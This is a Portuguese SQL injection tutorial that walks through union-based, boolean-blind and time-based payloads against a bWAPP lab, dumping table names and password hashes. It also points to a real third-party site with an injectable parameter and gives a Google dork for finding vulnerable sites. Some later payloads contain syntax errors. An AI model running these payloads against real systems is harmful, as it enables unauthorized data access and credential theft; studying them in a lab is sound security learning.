Introdução ao SQL injection

Descrição

SQL Injection é uma técnica de injeção de código, utilizada para atacar aplicações que operam com drives de SQL(que tem um back-end SQL). Uma aplicação que possui uma interface com o banco de dados do tipo CRUD(Create,read,update and delete) por exemplo.

A maioria dos websites hoje é o que nós chamamos de websites dinamicos por esses motivos. E nesse paper irei estar abordando o básico de SQL Injection e algumas das técnicas de injeção de código.

Algumas técnicas que serão abordadas:

  • Injeção SQL baseada em erro(Método HTTP GET/POST)
    • SQL Injection(Get/Select) Security Low
    • SQL Injection (POST/Search)
    • SQL Injection (POST/Select) Security Low
  • SQLi Boolean Based
  • SQL Injection – Blind – Boolean-Based Security Low
  • SQLi Time Base

Ambiente
Eu gosto muito de estudar fazendo a prática enquanto leio a teoria então para isso eu tenho aqui um servidor docker e nele eu tenho um container rodando o bWAPP. bWapp é uma aplicação web cheia de falhas para você praticar e melhorar suas skills.

Imagem

Algumas ferramentas que eu irei estar utilizando:

How SQL Words
Aqui vou abordar apenas querys de SELECT, se vocẽ quiser aprender SQL vá no w3school e leia os fucking docs baby! Vou até da dar o link: https://www.w3schools.com/sql/default.asp

Para se ter uma noção de como sql funciona em uma página, você vai ter o seguinte código PHP:

Código: Selecionar todos

<!DOCTYPE html>
<html>
<head>
</head>
<title>MotherFucker SQL Injection</title>
<body>
<form action="" method="GET">
Nome do Usuário:<input type="text" name="nome">
<input type="submit" value="Enviar">
</form>
<?php
include '/var/www/pentestweb/conecta.php';
if( isset($_GET["nome"]) ){
  $nome = $_GET['nome'];
  $sql = "SELECT * FROM usuarios WHERE nome = '$nome'";
  echo $SQL . "<br>";
  $dados = mysqli_query($con, $sql) or die(mysqli_error($con));
  while($linha = mysqli_fetch_assoc($dados) ){
	$nome = $linha['nome'];
	echo $nome;
	$endereco = $linha['endereco'];
	$telefone = $linha['telefone'];
	echo "<pre>Endereço: {$endereco}<br />Telefone: {$telefone}<br> Nome: {$nome}</pre>";
  }
	  mysqli_close($con);
}
?>
</body>
</html>

Isso é uma página em php bem lixo que eu fiz pra exemplificar, é um formulário web onde o usuário pesquisa pelo nome e então o código procura no banco de dados o endereço e telefone etc.

O lance é aqui:

Código: Selecionar todos

  $sql = "SELECT * FROM usuarios WHERE nome = '$nome'";

A linha acima é a linha onde define a query quer será realizada no banco de dados. Então se o usuário na aplicação escrever no formulário web lá Raul a query vai ser processada assim no banco de dados:

Código: Selecionar todos

SELECT * FROM usuarios WHERE nome = 'raul';

Então repare que nós podemos por exemplo falar que ao invés de raul você coloca algo do gênero:

SELECT * FROM usuarios WHERE nome =’1′ or ‘1’=’1‘;

Então com o seguinte input no formulário: 1′ or ‘1’=’1 vocẽ conseguiria fazer com que a a consulta fosse real, já que o nome de valor ‘1’ não existe ele vai cair no ORstatment que será verdade e em muitos casos todos os usuários serão dumpados:

Código: Selecionar todos

Administrador

Endereço: Endereco do Admin
Telefone: 000-000
 Nome: Administrador

Joaquim

Endereço: Death Star
Telefone: 000-666
 Nome: Joaquim

FlyAngel

Endereço: Deep in the sky
Telefone: 0213-021
 Nome: FlyAngel

O que nós fizemos foi basicamente o que essa imagem tenta explicar:
Imagem

Então como que funciona, a query será dividida em duas partes, a que você não tem como trocar e a que você injeta. No exemplo anterior a primeira parte da query sql está marcada em vermelho e a segunda em azul:

SELECT * FROM usuarios WHERE nome =’ 1′ or ‘1’=’1 ‘ ;

Em alguns casos será necessário comentar o resto da query, para isso você pode utilizar # ou no final. Toda query necessita ser finalizada com ; ponto e virgula, então se vocẽ for comentar o que vier depois da injeção, você precisa finalizar a query de acordo para que ela funcione.

A imagem abaixa demonstra um exemplo de injeção para deletar um usuário, repare no que está marcado em vermelho:
Imagem

Modos Operandi
Um ataque de SQLInjection ele começa sem nada, você tem um possível erro e então você começa a trabalhar em cima de um erro que começa a te retornar valores. Quando você está fazendo um ataque de SQLi você geralmente segue a seguinte linha de raciocinio:

  • Identificar o entry-point da injeção.
  • Descobrir quantos campos a query retorna e quais podem ser utilizados para exfiltrar dados.
  • Descobrir qual o banco de dados.
  • Descobrir quais as tabelas do banco de dados.
  • Descobrir as colunas das tabelas daquele banco de dados.
  • Extrair os dados.

Bom, tem muita coisa além disso, porém isso é o básico, vamos seguir com a prática onde eu vou explicando as técnicas e as sintaxe.

Injeção SQL baseada em erro
A injeção SQL baseada em erro é caracterizada por retornar para a aplicação web ás consultas maliciosas feitas pelo atacante. Dessa forma, o atacante possui melhor controle da estrutura organizacional do banco de dados e, sem muitos esforços é possível descobrir nomes de tabelas, colunas e dados inseridos.

Essa técnica é uma técnica onde a aplicação retorna o erro e exibe na tela, por exemplo, se vocẽ acessar esse site aqui:

Código: Selecionar todos

http://b2b.semipia.com/view_items.php?id=31

E alterar o parametro id=31 para id=’ você obtêm o seguinte erro na página:

Código: Selecionar todos

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home1/semikron/public_html/b2b/view_items.php on line 33

Conforme explicado anteriormente, trocando o valor do parametro id para você quebra a query, ela vai dar erro, ficaria algo assim:

Código: Selecionar todos

SELECT * FROM items WHERE id=';

Isso vai retornar um erro e por motivos de má contudas de código o erro é exibido na tela para o atacante, no caso é o erro que eu mostrei acima.

Para enfatizar, você pode procurar por sites que possuam essa falha, vamos usar Google Hacking para levantar uns sites com essa falha, abra seu navegador e vá até o Google e digite:

Código: Selecionar todos

intext:'mysql_fetch_array()'

Vocẽ deve ver alguns sites que contém isso no texto e outros que estão vulneráveis.. Então SQLinjection é uma falha grave e de acordo com a ultima nota da OWASP TOP TEN de 2017(a de 2018 ainda não saiu) a falha que tem mais incidentes é de Injeção de código(Não necessariamente de SQL)

A1:2017-Injection
Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.

Para saber mais visite o website: https://www.owasp.org/index.php/Top_10-2017_Top_10

SQL Injection (GET/Search) Security Low
Bom o primeiro desafio é o SQL Injection GET/Search do bWAPP.
A URL: http://docker:8080/sqli_1.php?title=&action=search
Dando o seguinte input no campo title:
Retorna o seguinte erro:

Código: Selecionar todos

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1

Seguinte Input:

Código: Selecionar todos

' or '1'='1

Retorna todos os filmes.

Da para supor que é passado a query com algo do tipo:

Código: Selecionar todos

select title,release,character,genre,imdb from some_table where title = '$title';

Bom, agora precisamos descobrir quantas colunas a query retorna para que possamos tentar descobrir quais delas podemos usar para trazer dados, para isso você pode utilizar a técnica do order by. Essa técnica consiste em você injectar o código na consulta e tentar ordernar pelo número do campo, logo, se você começa ordenando pelo primeiro campo, provavelmente irá realizar com sucesso, então você tenta o segundo, terceiro, quarto, quando der erro signfica que não existe mais campos sendo retornados e vocẽ descobriu quantas colunas são retornadas.

Iniciando o levantamento de quantas colunas existem na tabela:

Código: Selecionar todos

' or '1'='1' order by 7 # -> OK
' or '1'='1' order by 8 # -> Error.

Tabela possui 7 colunas, apenas 5 são exibidas, no caso a de número 2 interessante para utilizar para exfiltrar os dados.

Enumerando o nome do banco de dados:
Para enumerar o nome do banco de dados você pode usar a função database() do mysql, ela retorna o nome do banco que está sendo utilizado.

Código: Selecionar todos

' union all select 1,database(),3,4,5,6,7 from information_schema.tables #

No código acima foi empregado o union all select, a função desse cara nada mais nada menos é de adicionar um segundo select, onde ele precisa ter todos os campos do primeiro select para que seja compátivel no output. No caso do union all mas poderia ser usado apenas union. A diferença é entre os dois você encontra no google.

A base de dados information_schema é uma base padrão do MYSQL que contém informações sobre o ambiente em si, no código anterior eu não precisava ter colocado ela mas eu coloquei por bobagem, a query teria funcionado até o 7, todo o resto do from até o final provavelmente funcionaria.
Resultado:

Código: Selecionar todos

bWAPP

Enumerando as tabelas:
Para enumerar as tabelas será necessário recorrer à base de dados information_schema, como falei antes essa base retem informações do ambiente, uma das tabelas dessa base é a tables que contém informações das tabelas.

Código de injeção:

Código: Selecionar todos

' union all select 1,table_name,3,4,5,6,7 from information_schema.tables where tables.TABLE_SCHEMA='bWAPP'#

No código acima eu não fiz nada mais nada menos que no campo dois eu defini o campo table_name que é o campo da tabela tables do banco information_schema que contém o nome da tabela em si e depois eu usei o where e peguei o campo table_schema que é basicamente o nome do banco de dados de qual aquela tabela pertence e defini bWAPP. Resumindo a query tráz todas as tabelas cuja o nome em TABLE_SCHEMA for igual ‘bWAPP’.

Resultado:

Código: Selecionar todos

blog
heroes
movies
users
visitors

Enumerando o nome das colunas da tabela users:
Agora é necessário enumerar as colunas das tabelas, no caso eu decidi enumerar a tabela users. Para isso eu vou precisar recorrer novamente à base information_schema que como falei é o bagulho q tem as caralha das info do ambiente.

Código: Selecionar todos

' union all select 1,2,column_name,4,5,6,7 from information_schema.columns where columns.TABLE_name='users'#

No código acima eu coloquei o 3 campo dos 3 como column_name que nada mais é que o nome do campo na tabela columns do banco information_schema que como falei anteriormente é aonde tem os bagulho do ambiente, to zoando, ta ficando repetitivo já, acho que você já entendeu como funciona o esquema. O lance agora é que eu to usando a tabela columns e depois eu uso o where novamente e defino que o nome da tabela vai ser users. Então de forma leiga falando a query vai trazer todas as colunas que estão relacionadas com a tabela users.

Resultado:

Código: Selecionar todos

id
login
password
email
secret
activation_code
activated
reset_code
admin

Agora vamos puxar os dados que importam:
Extraindo os dados, a parte mais interessante do SQLi. Agora nós vamos extrair as informações do banco de dados, já temos a informação das tabelas e colunas, agora é só colocar isso na query e rodar baby!

Código: Selecionar todos

' union all select 1,login,password,secret,email,6,7 from users#

Resultado:

Código: Selecionar todos

A.I.M. 	6885858486f31043e5839c735d99457f045affd0 	bwapp-aim@mailinator.com	A.I.M. or Authentication Is Missing
bee	6885858486f31043e5839c735d99457f045affd0	bwapp-bee@mailinator.com	Any bugs?

Só para enfatizar todo o procedimento do ataque, você precisa levantar informações para saber o que precisa ser extraido, sem seguir os passos de descobrir o nome do banco, das tabelas, das colunas etc você não poderia elaborar uma query para extrair os dados.

SQL Injection(Get/Select) Security Low
Aqui nós temos um dropdown menu, o hack vai ter que ser feito via URL. Para essa etapa vamos utilizar aquela tool que falei lá em cima chamada de hackbar para facilitar as coisas.

Na url nós temos: http://docker:8080/sqli_2.php?movie=6&action=go

O ponto de injeção provavélmente é em movie=6

Vou estar estreiando o add-on do firefox chamado de HackBar, ele permite “manipulação” de requisições.

Detectado número de colunas da tabela:

Código: Selecionar todos

http://docker:8080/sqli_2.php?movie=1 order by 7&action=go

São 7.

Pelo jeito que a consulta é realizada posso supor que a query é a seguinte:

Código: Selecionar todos

select title, release, character,genre, imbdb from sometable where id=$ID

Acredito que está limitado à apenas um resultado, então eu tenho que fazer com que a ID seja invalida para que não retorne nada e fique em branco e preencha os campos com o union, lets roll:

Código: Selecionar todos

http://docker:8080/sqli_2.php?movie=-1 union select 1,database(),3,4,5,6,7 from information_schema.tables #&action=go

Bingo, resultado:

Código: Selecionar todos

bWAPP

Enumerando as tabelas:

Código: Selecionar todos

http://docker:8080/sqli_2.php?movie=-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' %23&action=go

Repare que eu usei literalmente o unicode %23, esse valor signifca # que é um comentário. Quando se passa requisição direto na URL do navegador você precisa encodar isso pois o navegador interpreta de outra forma.
Resultado:

Código: Selecionar todos

blog,heroes,movies,users,visitors

Talquei, vamos enumerar a tabela users:

Código: Selecionar todos

-1 union all select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='users' %23&action=go

Resultado:

Código: Selecionar todos

id,login,password,email,secret,activation_code,activated,reset_code,admin

Okay, agora é só pegar os dados:

Código: Selecionar todos

-1 union all select 1,concat(login,password),3,4,5,6,7 from users %23&action=go

Resultado:

Código: Selecionar todos

A.I.M.6885858486f31043e5839c735d99457f045affd0

Só retornou um usuário, vamos tentar pegar quantos usuários existem na tabela:

Código: Selecionar todos

-1 union all select 1,count(id),3,4,5,6,7 from users %23&action=go

Temos dois usuários 2.

Então vou tentar filtar por logins que não contenham o login do usuário já capturado:

Código: Selecionar todos

-1 union all select 1,concat(login,password),3,4,5,6,7 from users where login not like 'A' %23&action=go

Resultado: Falhou

Vou tentar pela ID então:

Código: Selecionar todos

-1 union all select 1,concat(login,password),3,4,5,6,7 from users where id > 1 %23&action=go

Bingo!
Resposta:

Código: Selecionar todos

bee6885858486f31043e5839c735d99457f045affd0

SQL Injection (POST/Search) Security Low:
Agora vou precisar iniciar o hackbar, no navegador você dá F12 e clica lá no bag verde de hacker.

O levantamento do número de tabelas eu não consegui realizar com o order by então apelei pro union all

Código: Selecionar todos

' union all select 1,2,3,4,5,6,7 from information_schema.tables #

E pra falar a verdade meu hackbar ta dando pau, então fui na mão mesmo pela interface web.

Bom, todo o resto da aventura já é conhecido, descobrir as tabelas, depois as colunas e então extrair.

Descobrindo os nomes das tabelas:

Código: Selecionar todos

' union all select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

Descobrindo os campos da tabela:

Código: Selecionar todos

' union all select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' #

Extraindo os dados:

Código: Selecionar todos

' union all select 1,concat(login,password),3,4,5,6,7 from users #

Bingo! Resultado:

Código: Selecionar todos

A.I.M.6885858486f31043e5839c735d99457f045affd0 	3 	5 	4 	Link
bee6885858486f31043e5839c735d99457f045affd0 	

SQL Injection (POST/Select) Security Low
É, agora eu vou ter qeu usar o hackbar novamente pois é POST, não tenho como mandar POST direto na URL porquẽ é pra isso que o POST serve. O Método POST diferente do GET ele passa os dados no corpo da requisição, não ficando exposto na URL.

Identificando o banco de dados:

Código: Selecionar todos

movie=-1 union all select 1,database(),3,4,5,6,7 from information_schema.tables #

Identificando as tabelas:

Código: Selecionar todos

movie=-1 union all select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema="bWAPP" #

Identificando os campos da tabela:

Código: Selecionar todos

movie=-1 union all select 1,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name="users" #

Bingo, resultado:

Código: Selecionar todos

id,login,password,email,secret,activation_code,activated,reset_code,admin

Agora é só extrair os dados.

Código: Selecionar todos

movie=-1 union all select 1,group_concat(login,password),3,4,5,6,7 from users where id=1 #
movie=-1 union all select 1,group_concat(login,password),3,4,5,6,7 from users where id=2 #

Alright, we hack into this shit!

SQLi Boolean Based
Dependendo de como o código-fonte da aplicação é construído, ela estará vulnerável a injeção SQL, mas não retornará ao atacante(pelo menos a olho nu) nomes de tabelas, colunas e dados armazenados, não existe aquele erro descarado. É aqui que entra essa outra técnica, Boolean Based[/size]

A injeção SQL baseada em booleano consiste em realizar injeção SQL sem saber dados de retorno. Por meio de tentativa e erro, o atacante vai adivinhando qual é a estrutura do banco de dados.

Código: Selecionar todos

<!DOCTYPE html>
<html>
<head>
<title>Biggest Fucker</title>
</head>
<body>
<form action="" method="GET">
Nome do usuário: <input type='text' name='nome'>
<input type='submit' value='Enviar'>
</form>
<?php
include "/var/www/conecta.php";
if(isset($_GET['nome'])){
	$nome = $_GET['nome'];
	$sql = "SELECT nome from usuarios WHERE nome = '$nome'";
	$dados = mysqli_query($conexao, $sql) or die("Database Error")
	if(mysqli_num_rows($dados))
		echo "Usuário cadastrado no banco de dados";
	else
		echo "Usuário <span style='color:red;font-weight:bold;'>não</span> cadastrado no banco de dados";
	mysqli_close($conexao);

}
?>
</body>
</html>

A técnica de injeção de SQL baseada em booleano é complexa e requer muito tempo para ser executada, sendo totalmente inviável executá-la manuamente. Muitos scripts automatizados, como o SQLMap e o Havij, chutam nomes de tabelas e colunas para ganhar tempo. Caso não consigam, o método de adivinhação de caractere por caractere é empregado. Por exemplo, você cria uma query e atráves de funções do MYSQL tipo uma len() você obtẽm o tamanho da string do nome, então você compara isso com um valor, len(database()) == 9, se der true é porque existem 9 caracteres no nome do banco de dados. A partir disso você daria um splice na string pegando o primeiro caractere e verificando com uma condicional lógica se é igual ao caractere a, b,c,d e assim por diante. Até obter o nome inteiro, isso se aplica até os valores extraidos das colunas das tabelas.

SQL Injection – Blind – Boolean-Based Security Low
Primeiro Input:

Código: Selecionar todos

' or true #

Retorna:

Código: Selecionar todos

The movie exists in our database!

Segundo Input:

Código: Selecionar todos

' or false #

Resultado:

Código: Selecionar todos

The movie does not exist in our database!

Então com base nisso, nós podemos obter um retorno se a segunda expressão for verdadeira, então o processo é lento, para descobrir o nome do banco de dados então poderiamos fazer da seguinte forma:

Código: Selecionar todos

' or length(database()) = 2 #

Resultado:

Código: Selecionar todos

The movie does not exist in our database!

Segunda tentativa:

Código: Selecionar todos

' or length(database()) = 4 #

Resultado:

Código: Selecionar todos

The movie does not exist in our database!

Terceira tentativa:

Código: Selecionar todos

' or length(database()) = 5 #

Resultado:

Código: Selecionar todos

The movie exists in our database!

Então a gente já sabe o tamanho do nome da base de dados, agora é necessário descobrir o nome da base de dados em si, uma forma de se fazer isso é utilizando o substring(). A função Substring do MySQL extrai trechos de uma string, podendo ser usada para extrair um único caractere.

A função ascii retorna o valor ascii de um caracter.

Código: Selecionar todos

1 row in set (0.00 sec)

MariaDB [(none)]> select ascii('b');
+------------+
| ascii('b') |
+------------+
|         98 |
+------------+
1 row in set (0.00 sec)

MariaDB [(none)]> select ascii('W');
+------------+
| ascii('W') |
+------------+
|         87 |
+------------+
1 row in set (0.00 sec)

MariaDB [(none)]> select ascii('A');
+------------+
| ascii('A') |
+------------+
|         65 |
+------------+
1 row in set (0.00 sec)

MariaDB [(none)]> select ascii('P');
+------------+
| ascii('P') |
+------------+
|         80 |
+------------+
1 row in set (0.00 sec)

Então o ataque ficaria mais ou menos assim:

Código: Selecionar todos

' or ascii(substring(database(),1,1)) = 98 #

Resposta:

Código: Selecionar todos

The movie exists in our database!

Sendo 98 o código ascii de um caracter, no caso ‘b’. Você poderia até fazer um script para automatizar esse ataca, mas como foi falado anteriormente é inviável o emprego desse ataque de forma manual, o adequado é adotar tools como o sqlmap

Depois de identificar o nome do banco de dados, será necessário identificar o tamanho e nome das tabelas e toda aquela ladainha que a gente já viu em ataques anteriores.

Descobrindo o tamanho das tabelas:

Código: Selecionar todos

' or (select length(group_concat(table_name) )=8 FROM INFORMATION_SCHEMA.TABLES WHERE = TABLE_SCHEMA='bWAPP') %23

Determinando o nome das tabelas:

Código: Selecionar todos

' or ASCII( substring (SELECT group_concat(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_chema='bWAPP'),2,1)==115 %23

Esse ataque é tão ‘FUCK’ que você no final das contas vai ter que fazer bruteforce até no registro da coluna da tabela do banco de dados e eu desisti de falar mais sobre esse ataque porque sinceramente se um dia eu precisar usar isso eu vou estar bem fundo na merda.

SQLi Time Base
Injeção SQL Baseada em Tempo.
Derivação da injeção SQL baseada em booleano, porém absolutamente nenhuma mensagem é retornada pela aplicação. Uma das formas de contornaresse mecanismo é aplicando um tempo de espera por meio da função sleep() do MYSQL; caso o sistema demore um determinado período de tempo para responder a uma consulta, a função sleep() foi bem executada e o sistema encontra-se vulnerável.

Então para descobrir se o serviço está vulnerável, ele não vai retornar nenhum dado mesmo se o injection for bem sucedido, então podemos realizar da seguinte forma:

Código: Selecionar todos

url.php?var=' or sleep(2) # 
url.php?var=' or sleep(2) %23
url.php?var=' or if( true, sleep(2),0) %23  

O resto dos procedimentos é semelhante à SQLI baseada em Booleano, é só vocẽ confirmar com o sleep se a confição for verdadeira, se cair no sleep quer dizer que foi true, assim você vai advinhando os campos etc.

Links ùteis:
https://www.w3schools.com/sql/sql_injection.asp
https://www.electrictoolbox.com/shell-c … ne-client/
https://www.blackhat.com/presentations/ … SLIDES.pdf